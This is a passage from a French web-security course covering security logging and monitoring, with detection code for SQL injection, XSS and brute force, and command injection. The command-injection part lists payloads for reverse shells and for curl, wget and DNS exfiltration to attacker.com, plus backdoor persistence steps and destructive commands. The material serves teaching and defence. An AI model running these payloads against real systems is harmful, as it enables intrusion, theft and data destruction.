        pip install pip-audit
        pip-audit --format json || true
    
    - name: Fail on critical vulnerabilities
      run: |
        pip install safety
        # Échouer si des vulnérabilités CRITIQUES sont trouvées
        safety check --exit-code 1
```

---

## [GRAPHIQUE] RÉCAPITULATIF COMPONENTS WITH KNOWN VULNERABILITIES

### [OK] Bonnes pratiques

| Pratique | Fréquence | Outil |
|----------|-----------|-------|
| Audit des dépendances | Hebdomadaire | safety, pip-audit, Snyk |
| Mise à jour des patches sécurité | Immédiat | Dependabot |
| Scan CI/CD | À chaque commit | GitHub Actions |
| Veille de sécurité | Quotidien | NVD, GitHub Advisories |
| Suppression dépendances inutilisées | Mensuel | pipreqs |

---

### [X] Erreurs critiques

- [X] Ne jamais mettre à jour les dépendances
- [X] Utiliser des versions EOL (End-of-Life)
- [X] Ignorer les alertes de sécurité
- [X] Pas de processus de gestion des vulnérabilités
- [X] Pas de scan automatisé dans CI/CD

---

# 11. INSUFFICIENT LOGGING & MONITORING

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que Insufficient Logging ?

**Définition :**
Absence ou insuffisance de **logs** et de **monitoring** permettant de détecter, répondre et investiguer les incidents de sécurité.

**Analogie simple :**

Imagine une banque sans caméras de surveillance :
- Un cambriolage a lieu
- Personne ne s'en rend compte immédiatement
- Impossible de savoir qui l'a fait
- Impossible de savoir comment ils sont entrés
- Impossible de prévenir la prochaine fois

-> Les logs = caméras de surveillance
-> Le monitoring = vigile qui regarde les caméras en temps réel

---

### Pourquoi c'est critique ?

**Statistiques alarmantes :**

- **Temps moyen de détection d'un breach :** 207 jours (IBM, 2022)
- **Temps moyen pour contenir un breach :** 73 jours
- **Coût moyen d'un breach :** $4.35M
- **80%** des breaches auraient pu être détectés plus tôt avec un logging approprié

---

### Que faut-il logger ?

#### [OK] **1. Événements d'authentification**

```python
import logging

logger = logging.getLogger(__name__)

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    
    user = authenticate(username, password)
    
    if user:
        # [OK] Logger succès
        logger.info(
            f"LOGIN_SUCCESS: user={username}, "
            f"ip={request.remote_addr}, "
            f"user_agent={request.headers.get('User-Agent')}"
        )
        return redirect('/dashboard')
    else:
        # [OK] Logger échec (IMPORTANT pour détecter brute-force)
        logger.warning(
            f"LOGIN_FAILED: user={username}, "
            f"ip={request.remote_addr}, "
            f"user_agent={request.headers.get('User-Agent')}"
        )
        return "Invalid credentials", 401
```

---

#### [OK] **2. Changements critiques**

```python
@app.route('/users/<int:user_id>/role', methods=['PUT'])
@require_admin
def change_user_role(user_id):
    """Changement de rôle (action sensible)"""
    new_role = request.json.get('role')
    
    # Récupérer l'ancien rôle
    old_role = get_user_role(user_id)
    
    # Effectuer le changement
    update_user_role(user_id, new_role)
    
    # [OK] Logger le changement
    logger.warning(
        f"ROLE_CHANGE: "
        f"admin={session['username']}, "
        f"target_user_id={user_id}, "
        f"old_role={old_role}, "
        f"new_role={new_role}, "
        f"ip={request.remote_addr}"
    )
    
    return {"success": True}
```

---

#### [OK] **3. Accès refusés (tentatives d'intrusion)**

```python
@app.route('/admin/users')
def admin_panel():
    if not session.get('is_admin'):
        # [OK] Logger tentative d'accès non autorisé
        logger.error(
            f"UNAUTHORIZED_ACCESS_ATTEMPT: "
            f"user={session.get('username', 'anonymous')}, "
            f"user_id={session.get('user_id', 'N/A')}, "
            f"url={request.url}, "
            f"ip={request.remote_addr}"
        )
        return "Access denied", 403
    
    # ... afficher le panel admin ...
```

---

#### [OK] **4. Erreurs applicatives**

```python
@app.errorhandler(500)
def internal_error(error):
    # [OK] Logger l'erreur avec contexte
    logger.error(
        f"INTERNAL_ERROR: "
        f"error={str(error)}, "
        f"url={request.url}, "
        f"method={request.method}, "
        f"user={session.get('username', 'anonymous')}, "
        f"ip={request.remote_addr}",
        exc_info=True  # Inclut le stack trace
    )
    
    return "Internal server error", 500
```

---

#### [OK] **5. Patterns d'attaque**

```python
def detect_sql_injection(input_string):
    """Détecte des patterns SQL injection"""
    sql_patterns = [
        'union', 'select', 'drop', 'insert', 'update',
        '--', ';--', "' or '1'='1", '" or "1"="1'
    ]
    
    for pattern in sql_patterns:
        if pattern in input_string.lower():
            # [OK] Logger tentative d'injection
            logger.critical(
                f"SQL_INJECTION_ATTEMPT: "
                f"pattern={pattern}, "
                f"input={input_string}, "
                f"url={request.url}, "
                f"ip={request.remote_addr}"
            )
            return True
    
    return False
```

---

### Format de logs structurés

**[X] Mauvais (logs non structurés) :**

```python
logger.info("User alice logged in from 192.168.1.1")
```

**Problèmes :**
- Difficile à parser
- Impossible de faire des requêtes
- Pas de métadonnées

---

**[OK] Bon (logs structurés en JSON) :**

```python
import json
import logging

def log_event(event_type, **kwargs):
    """Logger un événement en JSON"""
    log_entry = {
        'timestamp': datetime.utcnow().isoformat(),
        'event_type': event_type,
        **kwargs
    }
    
    logger.info(json.dumps(log_entry))

# Utilisation
log_event(
    'LOGIN_SUCCESS',
    username='alice',
    ip='192.168.1.1',
    user_agent='Mozilla/5.0...'
)
```

**Résultat :**

```json
{
  "timestamp": "2026-01-06T15:30:45.123456",
  "event_type": "LOGIN_SUCCESS",
  "username": "alice",
  "ip": "192.168.1.1",
  "user_agent": "Mozilla/5.0..."
}
```

**Avantages :**
- [OK] Facilement parsable
- [OK] Requêtes complexes possibles
- [OK] Intégration avec ELK, Splunk, etc.

---

### Niveaux de log (Python logging)

| Niveau | Usage | Exemple |
|--------|-------|---------|
| **DEBUG** | Informations détaillées | Valeurs de variables, flow |
| **INFO** | Événements normaux | Login réussi, création d'objet |
| **WARNING** | Événements inhabituels | Login échoué, ressource basse |
| **ERROR** | Erreurs non critiques | Exception catchée |
| **CRITICAL** | Erreurs critiques | Attaque détectée, système down |

---

### Monitoring et alertes

#### [OK] **1. Détecter les attaques en cours**

**Exemple : Détection de brute-force**

```python
from collections import defaultdict
from datetime import datetime, timedelta

# Compteur de tentatives par IP
failed_attempts = defaultdict(list)

MAX_ATTEMPTS = 5
WINDOW_MINUTES = 5

def check_brute_force(ip_address):
    """Détecte le brute-force"""
    now = datetime.utcnow()
    
    # Nettoyer les anciennes tentatives
    cutoff = now - timedelta(minutes=WINDOW_MINUTES)
    failed_attempts[ip_address] = [
        t for t in failed_attempts[ip_address] if t > cutoff
    ]
    
    # Compter les tentatives récentes
    if len(failed_attempts[ip_address]) >= MAX_ATTEMPTS:
        # [OK] ALERTER !
        logger.critical(
            f"BRUTE_FORCE_DETECTED: "
            f"ip={ip_address}, "
            f"attempts={len(failed_attempts[ip_address])}, "
            f"window={WINDOW_MINUTES}min"
        )
        
        # Bloquer l'IP, envoyer alerte, etc.
        send_alert(f"Brute-force détecté depuis {ip_address}")
        
        return True
    
    return False

# Dans la route login
if not user:
    failed_attempts[request.remote_addr].append(datetime.utcnow())
    check_brute_force(request.remote_addr)
```

---

#### [OK] **2. Alertes temps réel**

**Slack webhook :**

```python
import requests

def send_slack_alert(message):
    """Envoie une alerte sur Slack"""
    webhook_url = os.environ.get('SLACK_WEBHOOK_URL')
    
    payload = {
        'text': f'[ALERTE] ALERTE SÉCURITÉ [ALERTE]\n{message}',
        'username': 'Security Bot',
        'icon_emoji': ':rotating_light:'
    }
    
    requests.post(webhook_url, json=payload)

# Utilisation
if sql_injection_detected:
    send_slack_alert(
        f"Tentative SQL Injection détectée !\n"
        f"IP: {request.remote_addr}\n"
        f"URL: {request.url}\n"
        f"Input: {suspicious_input}"
    )
```

---

**Email d'alerte :**

```python
import smtplib
from email.mime.text import MIMEText

def send_email_alert(subject, message):
    """Envoie une alerte par email"""
    msg = MIMEText(message)
    msg['Subject'] = f'[SECURITY ALERT] {subject}'
    msg['From'] = 'security@company.com'
    msg['To'] = 'admin@company.com'
    
    with smtplib.SMTP('smtp.company.com', 587) as server:
        server.starttls()
        server.login('user', 'password')
        server.send_message(msg)
```

---

### Stack de monitoring complète

**ELK Stack (Elasticsearch, Logstash, Kibana) :**

```python
# Envoyer les logs à Logstash
import logging
from logstash_async.handler import AsynchronousLogstashHandler

logger = logging.getLogger(__name__)

# [OK] Handler Logstash
logstash_handler = AsynchronousLogstashHandler(
    host='logstash.company.com',
    port=5959,
    database_path='logstash.db'
)

logger.addHandler(logstash_handler)

# Les logs sont automatiquement envoyés à Elasticsearch
# et visualisables dans Kibana
```

---

**Prometheus + Grafana :**

```python
from prometheus_client import Counter, Histogram, start_http_server

# Métriques
login_attempts = Counter('login_attempts_total', 'Total login attempts', ['status'])
request_duration = Histogram('request_duration_seconds', 'Request duration')

@app.route('/login', methods=['POST'])
@request_duration.time()
def login():
    # ...
    if user:
        login_attempts.labels(status='success').inc()
    else:
        login_attempts.labels(status='failed').inc()
    # ...

# Exposer les métriques sur /metrics
start_http_server(8000)
```

---

## [CODE] EXERCICE 13 : SYSTÈME DE LOGGING COMPLET

### Objectif

Créer une application avec un **système de logging et monitoring complet** détectant les attaques en temps réel.

---

### PARTIE A : APPLICATION AVEC LOGGING

```python
# secure_app_with_logging.py
from flask import Flask, request, jsonify, session
from flask_cors import CORS
import logging
import json
from datetime import datetime, timedelta
from collections import defaultdict
import hashlib

app = Flask(__name__)
app.secret_key = 'secure_key_change_me'
CORS(app, supports_credentials=True)

# ===== CONFIGURATION LOGGING =====

class JSONFormatter(logging.Formatter):
    """Formatter pour logs en JSON"""
    def format(self, record):
        log_obj = {
            'timestamp': datetime.utcnow().isoformat(),
            'level': record.levelname,
            'message': record.getMessage(),
            'module': record.module,
            'function': record.funcName,
            'line': record.lineno
        }
        
        # Ajouter des champs supplémentaires si présents
        if hasattr(record, 'user'):
            log_obj['user'] = record.user
        if hasattr(record, 'ip'):
            log_obj['ip'] = record.ip
        if hasattr(record, 'event_type'):
            log_obj['event_type'] = record.event_type
        
        return json.dumps(log_obj)

# Configuration des handlers
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)

# Handler console (développement)
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.INFO)
console_formatter = logging.Formatter(
    '%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
console_handler.setFormatter(console_formatter)

# Handler fichier JSON (production)
file_handler = logging.FileHandler('security.log')
file_handler.setLevel(logging.INFO)
file_handler.setFormatter(JSONFormatter())

logger.addHandler(console_handler)
logger.addHandler(file_handler)

# ===== DÉTECTION D'ATTAQUES =====

# Compteurs
failed_login_attempts = defaultdict(list)
suspicious_patterns_detected = defaultdict(int)

MAX_LOGIN_ATTEMPTS = 5
BRUTE_FORCE_WINDOW = 5  # minutes

def log_security_event(event_type, level='INFO', **kwargs):
    """Logger un événement de sécurité"""
    extra = {
        'event_type': event_type,
        'user': session.get('username', 'anonymous'),
        'ip': request.remote_addr,
        **kwargs
    }
    
    message = f"{event_type}: " + ", ".join([f"{k}={v}" for k, v in kwargs.items()])
    
    if level == 'INFO':
        logger.info(message, extra=extra)
    elif level == 'WARNING':
        logger.warning(message, extra=extra)
    elif level == 'ERROR':
        logger.error(message, extra=extra)
    elif level == 'CRITICAL':
        logger.critical(message, extra=extra)

def check_brute_force(ip_address):
    """Détecte les attaques brute-force"""
    now = datetime.utcnow()
    cutoff = now - timedelta(minutes=BRUTE_FORCE_WINDOW)
    
    # Nettoyer les anciennes tentatives
    failed_login_attempts[ip_address] = [
        t for t in failed_login_attempts[ip_address] if t > cutoff
    ]
    
    attempts = len(failed_login_attempts[ip_address])
    
    if attempts >= MAX_LOGIN_ATTEMPTS:
        log_security_event(
            'BRUTE_FORCE_DETECTED',
            level='CRITICAL',
            attempts=attempts,
            window_minutes=BRUTE_FORCE_WINDOW
        )
        return True
    
    return False

def detect_sql_injection(input_string):
    """Détecte les tentatives SQL injection"""
    sql_patterns = [
        "' or '1'='1",
        '" or "1"="1',
        'union select',
        'drop table',
        'insert into',
        '--',
        ';--'
    ]
    
    input_lower = input_string.lower()
    
    for pattern in sql_patterns:
        if pattern in input_lower:
            log_security_event(
                'SQL_INJECTION_ATTEMPT',
                level='CRITICAL',
                pattern=pattern,
                input=input_string[:100],  # Limiter la longueur
                url=request.url
            )
            return True
    
    return False

def detect_xss(input_string):
    """Détecte les tentatives XSS"""
    xss_patterns = [
        '<script',
        'javascript:',
        'onerror=',
        'onload=',
        'onclick='
    ]
    
    input_lower = input_string.lower()
    
    for pattern in xss_patterns:
        if pattern in input_lower:
            log_security_event(
                'XSS_ATTEMPT',
                level='CRITICAL',
                pattern=pattern,
                input=input_string[:100],
                url=request.url
            )
            return True
    
    return False

# ===== BASE DE DONNÉES SIMPLE =====

USERS_DB = {
    'alice': {
        'password': hashlib.sha256('alice123'.encode()).hexdigest(),
        'role': 'user'
    },
    'admin': {
        'password': hashlib.sha256('admin123'.encode()).hexdigest(),
        'role': 'admin'
    }
}

# ===== ROUTES =====

@app.route('/api/login', methods=['POST'])
def login():
    """Login avec logging complet"""
    data = request.json
    username = data.get('username', '')
    password = data.get('password', '')
    
    # Détection d'attaques
    if detect_sql_injection(username) or detect_sql_injection(password):
        return jsonify({"error": "Invalid input"}), 400
    
    # Vérifier brute-force
    if check_brute_force(request.remote_addr):
        log_security_event(
            'LOGIN_BLOCKED_BRUTE_FORCE',
            level='WARNING',
            username=username
        )
        return jsonify({"error": "Too many attempts. Try again later."}), 429
    
    # Authentification
    user = USERS_DB.get(username)
    
    if user and user['password'] == hashlib.sha256(password.encode()).hexdigest():
        # [OK] Succès
        session['username'] = username
        session['role'] = user['role']
        
        log_security_event(
            'LOGIN_SUCCESS',
            level='INFO',
            username=username
        )
        
        return jsonify({
            "success": True,
            "username": username,
            "role": user['role']
        })
    else:
        # [X] Échec
        failed_login_attempts[request.remote_addr].append(datetime.utcnow())
        
        log_security_event(
            'LOGIN_FAILED',
            level='WARNING',
            username=username,
            reason='invalid_credentials'
        )
        
        return jsonify({"error": "Invalid credentials"}), 401

@app.route('/api/admin')
def admin_panel():
    """Panel admin (protégé)"""
    if session.get('role') != 'admin':
        # [OK] Logger tentative d'accès non autorisé
        log_security_event(
            'UNAUTHORIZED_ACCESS_ATTEMPT',
            level='ERROR',
            target_url='/api/admin'
        )
        return jsonify({"error": "Access denied"}), 403
    
    log_security_event(
        'ADMIN_ACCESS',
        level='INFO'
    )
    
    return jsonify({"message": "Admin panel"})

@app.route('/api/search')
def search():
    """Recherche avec détection XSS"""
    query = request.args.get('q', '')
    
    # Détection XSS
    if detect_xss(query):
        return jsonify({"error": "Invalid input"}), 400
    
    log_security_event(
        'SEARCH_QUERY',
        level='INFO',
        query=query
    )
    
    return jsonify({"results": []})

@app.route('/api/logs/summary')
def logs_summary():
    """Résumé des événements de sécurité"""
    if session.get('role') != 'admin':
        return jsonify({"error": "Access denied"}), 403
    
    # Lire le fichier de logs
    try:
        with open('security.log', 'r') as f:
            lines = f.readlines()
        
        # Parser les logs JSON
        events = []
        for line in lines:
            try:
                event = json.loads(line)
                events.append(event)
            except:
                pass
        
        # Statistiques
        total_events = len(events)
        login_failures = sum(1 for e in events if e.get('event_type') == 'LOGIN_FAILED')
        sql_injections = sum(1 for e in events if e.get('event_type') == 'SQL_INJECTION_ATTEMPT')
        xss_attempts = sum(1 for e in events if e.get('event_type') == 'XSS_ATTEMPT')
        brute_force = sum(1 for e in events if e.get('event_type') == 'BRUTE_FORCE_DETECTED')
        
        return jsonify({
            "total_events": total_events,
            "login_failures": login_failures,
            "sql_injection_attempts": sql_injections,
            "xss_attempts": xss_attempts,
            "brute_force_detected": brute_force,
            "recent_events": events[-10:]  # 10 derniers événements
        })
        
    except FileNotFoundError:
        return jsonify({"error": "No logs found"}), 404

if __name__ == '__main__':
    print("[SECURITE]  Application avec Logging Sécurisé sur http://localhost:5000")
    print("[GRAPHIQUE] Logs: security.log")
    app.run(debug=False, port=5000)
```

---

### PARTIE B : TESTER LE SYSTÈME

**1. Lancer l'application :**

```bash
python secure_app_with_logging.py
```

**2. Test brute-force :**

```bash
# Faire 6 tentatives de login échouées
for i in {1..6}; do
  curl -X POST http://localhost:5000/api/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"alice","password":"wrong"}'
done
```

**3. Voir les logs :**

```bash
tail -f security.log
```

**Résultat dans security.log :**

```json
{"timestamp":"2026-01-06T15:30:45.123","level":"WARNING","message":"LOGIN_FAILED: username=alice, reason=invalid_credentials","event_type":"LOGIN_FAILED","user":"anonymous","ip":"127.0.0.1"}
{"timestamp":"2026-01-06T15:30:46.456","level":"WARNING","message":"LOGIN_FAILED: username=alice, reason=invalid_credentials","event_type":"LOGIN_FAILED","user":"anonymous","ip":"127.0.0.1"}
...
{"timestamp":"2026-01-06T15:30:50.789","level":"CRITICAL","message":"BRUTE_FORCE_DETECTED: attempts=6, window_minutes=5","event_type":"BRUTE_FORCE_DETECTED","user":"anonymous","ip":"127.0.0.1"}
```

---

**4. Test SQL Injection :**

```bash
curl "http://localhost:5000/api/login" \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin'"'"' OR '"'"'1'"'"'='"'"'1","password":"test"}'
```

**Log généré :**

```json
{"timestamp":"2026-01-06T15:31:00.123","level":"CRITICAL","message":"SQL_INJECTION_ATTEMPT: pattern=' or '1'='1, input=admin' OR '1'='1, url=http://localhost:5000/api/login","event_type":"SQL_INJECTION_ATTEMPT","user":"anonymous","ip":"127.0.0.1"}
```

---

### PARTIE C : DASHBOARD DE MONITORING

```python
# log_dashboard.py
from flask import Flask, render_template_string
import json
from collections import Counter
from datetime import datetime

app = Flask(__name__)

@app.route('/')
def dashboard():
    """Dashboard de visualisation des logs"""
    
    # Lire les logs
    try:
        with open('security.log', 'r') as f:
            lines = f.readlines()
        
        events = []
        for line in lines:
            try:
                event = json.loads(line)
                events.append(event)
            except:
                pass
        
        # Statistiques
        total = len(events)
        event_types = Counter(e.get('event_type', 'UNKNOWN') for e in events)
        ips = Counter(e.get('ip', 'UNKNOWN') for e in events)
        
        # Derniers événements critiques
        critical_events = [e for e in events if e.get('level') == 'CRITICAL'][-20:]
        
    except FileNotFoundError:
        events = []
        total = 0
        event_types = {}
        ips = {}
        critical_events = []
    
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>Security Dashboard</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: #1a1a1a;
            color: #fff;
            padding: 20px;
        }
        .header {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
        }
        .stats {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .stat-card {
            background: #2a2a2a;
            padding: 20px;
            border-radius: 10px;
            border-left: 4px solid #667eea;
        }
        .stat-value {
            font-size: 2rem;
            font-weight: bold;
            color: #667eea;
        }
        .stat-label {
            color: #999;
            margin-top: 5px;
        }
        .section {
            background: #2a2a2a;
            padding: 20px;
            border-radius: 10px;
            margin-bottom: 20px;
        }
        .event-list {
            max-height: 400px;
            overflow-y: auto;
        }
        .event {
            background: #1a1a1a;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 10px;
            border-left: 4px solid #f44336;
        }
        .event-timestamp {
            color: #999;
            font-size: 0.85rem;
        }
        .event-type {
            color: #f44336;
            font-weight: bold;
            margin: 5px 0;
        }
        .event-details {
            color: #ccc;
            font-size: 0.9rem;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        th, td {
            padding: 10px;
            text-align: left;
            border-bottom: 1px solid #444;
        }
        th {
            background: #1a1a1a;
            color: #667eea;
        }
    </style>
</head>
<body>
    <div class="header">
        <h1>[SECURITE] Security Dashboard</h1>
        <p>Real-time security monitoring and logging</p>
    </div>
    
    <div class="stats">
        <div class="stat-card">
            <div class="stat-value">{{ total }}</div>
            <div class="stat-label">Total Events</div>
        </div>
        <div class="stat-card">
            <div class="stat-value">{{ event_types.get('LOGIN_FAILED', 0) }}</div>
            <div class="stat-label">Failed Logins</div>
        </div>
        <div class="stat-card">
            <div class="stat-value">{{ event_types.get('SQL_INJECTION_ATTEMPT', 0) }}</div>
            <div class="stat-label">SQL Injections</div>
        </div>
        <div class="stat-card">
            <div class="stat-value">{{ event_types.get('BRUTE_FORCE_DETECTED', 0) }}</div>
            <div class="stat-label">Brute Force</div>
        </div>
    </div>
    
    <div class="section">
        <h2>[GRAPHIQUE] Events by Type</h2>
        <table>
            <thead>
                <tr>
                    <th>Event Type</th>
                    <th>Count</th>
                </tr>
            </thead>
            <tbody>
                {% for event_type, count in event_types.most_common(10) %}
                <tr>
                    <td>{{ event_type }}</td>
                    <td>{{ count }}</td>
                </tr>
                {% endfor %}
            </tbody>
        </table>
    </div>
    
    <div class="section">
        <h2>[WEB] Top IPs</h2>
        <table>
            <thead>
                <tr>
                    <th>IP Address</th>
                    <th>Events</th>
                </tr>
            </thead>
            <tbody>
                {% for ip, count in ips.most_common(10) %}
                <tr>
                    <td>{{ ip }}</td>
                    <td>{{ count }}</td>
                </tr>
                {% endfor %}
            </tbody>
        </table>
    </div>
    
    <div class="section">
        <h2>[ALERTE] Recent Critical Events</h2>
        <div class="event-list">
            {% for event in critical_events %}
            <div class="event">
                <div class="event-timestamp">{{ event.timestamp }}</div>
                <div class="event-type">{{ event.event_type }}</div>
                <div class="event-details">
                    IP: {{ event.ip }} | User: {{ event.user }}
                    {% if event.username %}
                    | Username: {{ event.username }}
                    {% endif %}
                </div>
            </div>
            {% endfor %}
        </div>
    </div>
    
    <script>
        // Auto-refresh toutes les 10 secondes
        setTimeout(() => location.reload(), 10000);
    </script>
</body>
</html>
    ''', 
    total=total,
    event_types=event_types,
    ips=ips,
    critical_events=critical_events
    )

if __name__ == '__main__':
    print("[GRAPHIQUE] Dashboard sur http://localhost:8000")
    app.run(debug=False, port=8000)
```

**Lancer le dashboard :**

```bash
python log_dashboard.py
```

**Ouvrir http://localhost:8000**

---

## [GRAPHIQUE] RÉCAPITULATIF LOGGING & MONITORING

### [OK] Checklist complète

| Élément | À logger | Niveau |
|---------|----------|--------|
| [OK] Login succès | Username, IP, timestamp | INFO |
| [OK] Login échec | Username, IP, raison | WARNING |
| [OK] Changement de privilèges | Admin, user cible, changement | WARNING |
| [OK] Accès refusé | User, URL, IP | ERROR |
| [OK] Tentative SQL injection | Pattern, input, IP | CRITICAL |
| [OK] Tentative XSS | Pattern, input, IP | CRITICAL |
| [OK] Brute-force détecté | IP, nombre tentatives | CRITICAL |
| [OK] Erreurs 500 | Stack trace, contexte | ERROR |
| [OK] Modifications de données | Quoi, qui, quand | INFO |

---

### [X] Erreurs communes

- [X] Ne pas logger les échecs d'authentification
- [X] Logs non structurés (difficiles à parser)
- [X] Pas de monitoring temps réel
- [X] Logs stockés seulement localement (pas de centralisation)
- [X] Pas d'alertes automatiques
- [X] Logger des données sensibles (mots de passe en clair)
- [X] Pas de rotation des logs (disque plein)

---

# 12. COMMAND INJECTION

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que Command Injection ?

**Définition :**
Vulnérabilité permettant à un attaquant d'**exécuter des commandes système arbitraires** sur le serveur en injectant du code malveillant dans un paramètre qui est passé à une fonction d'exécution de commandes.

**Analogie simple :**

Imagine un robot qui obéit à des ordres vocaux. Tu lui dis "Apporte-moi un café". Mais un attaquant dit "Apporte-moi un café **ET** ouvre le coffre-fort **ET** vide-le". Si le robot n'est pas programmé pour filtrer, il exécute TOUT !

Le serveur = le robot
Les commandes shell = les ordres vocaux
L'injection = les ordres malveillants cachés

---

### Comment fonctionne Command Injection ?

**Code vulnérable :**

```python
import os
from flask import Flask, request

app = Flask(__name__)

@app.route('/ping')
def ping():
    """
    [X] VULNÉRABLE : Exécute une commande avec input utilisateur
    """
    host = request.args.get('host', 'localhost')
    
    # [X] DANGER : Concatène directement l'input dans la commande
    command = f"ping -c 4 {host}"
    
    result = os.system(command)
    
    return f"Ping result: {result}"
```

**Utilisation normale :**

```
GET /ping?host=google.com
-> Exécute : ping -c 4 google.com
-> [OK] OK
```

**Exploitation Command Injection :**

```
GET /ping?host=google.com;cat /etc/passwd
-> Exécute : ping -c 4 google.com;cat /etc/passwd
-> [X] Exécute DEUX commandes !

GET /ping?host=google.com && whoami
-> Exécute : ping -c 4 google.com && whoami
-> [X] Révèle l'utilisateur système

GET /ping?host=google.com | nc attacker.com 4444
-> Exécute : ping -c 4 google.com | nc attacker.com 4444
-> [X] Envoie les résultats à l'attaquant
```

---

### Opérateurs d'injection

| Opérateur | Description | Exemple |
|-----------|-------------|---------|
| `;` | Sépare des commandes | `cmd1;cmd2` |
| `&&` | Exécute cmd2 si cmd1 réussit | `cmd1 && cmd2` |
| `\|\|` | Exécute cmd2 si cmd1 échoue | `cmd1 \|\| cmd2` |
| `\|` | Pipe : sortie cmd1 -> entrée cmd2 | `cmd1 \| cmd2` |
| `` `cmd` `` | Substitution de commande | `` echo `whoami` `` |
| `$(cmd)` | Substitution de commande | `echo $(whoami)` |
| `&` | Exécute en arrière-plan | `cmd &` |
| `\n` | Newline (nouvelle ligne) | `cmd1%0Acmd2` |

---

### Types de Command Injection

#### 1. **Injection directe (In-band)**

```bash
# Payload
http://site.com/search?q=test;cat /etc/passwd

# Résultat visible directement dans la réponse
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

---

#### 2. **Blind Command Injection (Out-of-band)**

Le résultat n'est pas visible, mais la commande s'exécute.

**Détection par délai :**

```bash
# Payload : Faire dormir le serveur 10 secondes
http://site.com/ping?host=localhost;sleep 10

# Si la réponse prend 10 secondes -> VULNÉRABLE !
```

**Exfiltration DNS :**

```bash
# Payload : Envoyer des données via DNS
http://site.com/ping?host=`whoami`.attacker.com

# L'attaquant voit une requête DNS vers : root.attacker.com
```

**Exfiltration HTTP :**

```bash
# Payload : Envoyer /etc/passwd à un serveur externe
http://site.com/ping?host=localhost;curl http://attacker.com/?data=$(cat /etc/passwd | base64)
```

---

#### 3. **Command Injection via fichiers**

```bash
# Upload d'un fichier avec nom malveillant
filename: "image.jpg;rm -rf /"

# Code vulnérable
os.system(f"convert {filename} output.png")
# Exécute : convert image.jpg;rm -rf / output.png
```

---

### Payloads classiques

#### **Reconnaissance :**

```bash
# Identifier l'OS
; uname -a
; cat /etc/os-release

# Utilisateur courant
; whoami
; id

# Fichiers sensibles
; cat /etc/passwd
; cat /etc/shadow
; cat ~/.ssh/id_rsa
```

---

#### **Reverse Shell :**

```bash
# Bash reverse shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Netcat reverse shell
; nc -e /bin/bash attacker.com 4444

# Python reverse shell
; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
```

---

#### **Exfiltration de données :**

```bash
# Via curl
; curl http://attacker.com --data "$(cat /etc/passwd)"

# Via wget
; wget http://attacker.com/$(whoami)

# Via DNS
; nslookup $(whoami).attacker.com
```

---

#### **Persistance (Backdoor) :**

```bash
# Créer un utilisateur backdoor
; useradd -m -s /bin/bash hacker && echo "hacker:password123" | chpasswd

# Ajouter une clé SSH
; echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# Cron job malveillant
; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'" >> /etc/crontab
```

---

### Impact de Command Injection

| Impact | Gravité | Exemple |
|--------|---------|---------|
| **RCE (Remote Code Execution)** | CRITIQUE | Contrôle total du serveur |
| **Vol de données** | CRITIQUE | /etc/passwd, base de données, secrets |
| **Déni de service** | ÉLEVÉ | `rm -rf /`, `:(){ :\|:& };:` (fork bomb) |
| **Pivot vers réseau interne** | CRITIQUE | Scanner, attaquer d'autres machines |
| **Crypto-mining** | ÉLEVÉ | Installer un miner |
| **Ransomware** | CRITIQUE | Chiffrer les fichiers |

---

### Cas réels

**1. Shellshock (Bash Bug) - CVE-2014-6271**

**Faille :** Bash exécutait du code après les définitions de fonctions dans les variables d'environnement.

**Exploitation :**

```bash
# Via User-Agent
User-Agent: () { :; }; /bin/bash -c 'cat /etc/passwd'

# Millions de serveurs vulnérables
```

**Impact :** Serveurs web, routeurs, IoT compromis mondialement.

---

**2. Struts2 Remote Code Execution - CVE-2017-5638**

**Impact :** Utilisé dans le breach Equifax (147M personnes).

---

**3. Confluence Server - CVE-2021-26084**

**Faille :** OGNL injection -> Command execution

**Exploitation :**

```
POST /pages/doenterpagevariables.action
Content-Type: application/x-www-form-urlencoded

queryString=aaaaa\u0027%2b#{1336+1}%2b\u0027bbbbb
```

---

### Comment se protéger ?

#### [OK] **1. NE JAMAIS utiliser os.system() ou shell=True**

```python
import os
import subprocess

# [X] DANGEREUX
host = request.args.get('host')
os.system(f"ping -c 4 {host}")

# [X] DANGEREUX
subprocess.call(f"ping -c 4 {host}", shell=True)

# [OK] SÉCURISÉ : Utiliser subprocess sans shell
subprocess.run(['ping', '-c', '4', host], capture_output=True, timeout=5)
```

**Pourquoi c'est sécurisé ?**
- Les arguments sont passés comme une **liste**
- Pas d'interprétation par le shell
- Les caractères spéciaux (`;`, `|`, `&&`) sont traités comme du texte brut

---

#### [OK] **2. Whitelist d'inputs**

```python
import re

ALLOWED_HOSTS_PATTERN = re.compile(r'^[a-zA-Z0-9.-]+$')

def is_valid_hostname(hostname):
    """Valide que le hostname contient seulement des caractères autorisés"""
    if not hostname or len(hostname) > 255:
        return False
    
    return ALLOWED_HOSTS_PATTERN.match(hostname) is not None

# Utilisation
host = request.args.get('host')

if not is_valid_hostname(host):
    return "Invalid hostname", 400

# [OK] Safe
result = subprocess.run(['ping', '-c', '4', host], capture_output=True, timeout=5)
```

---

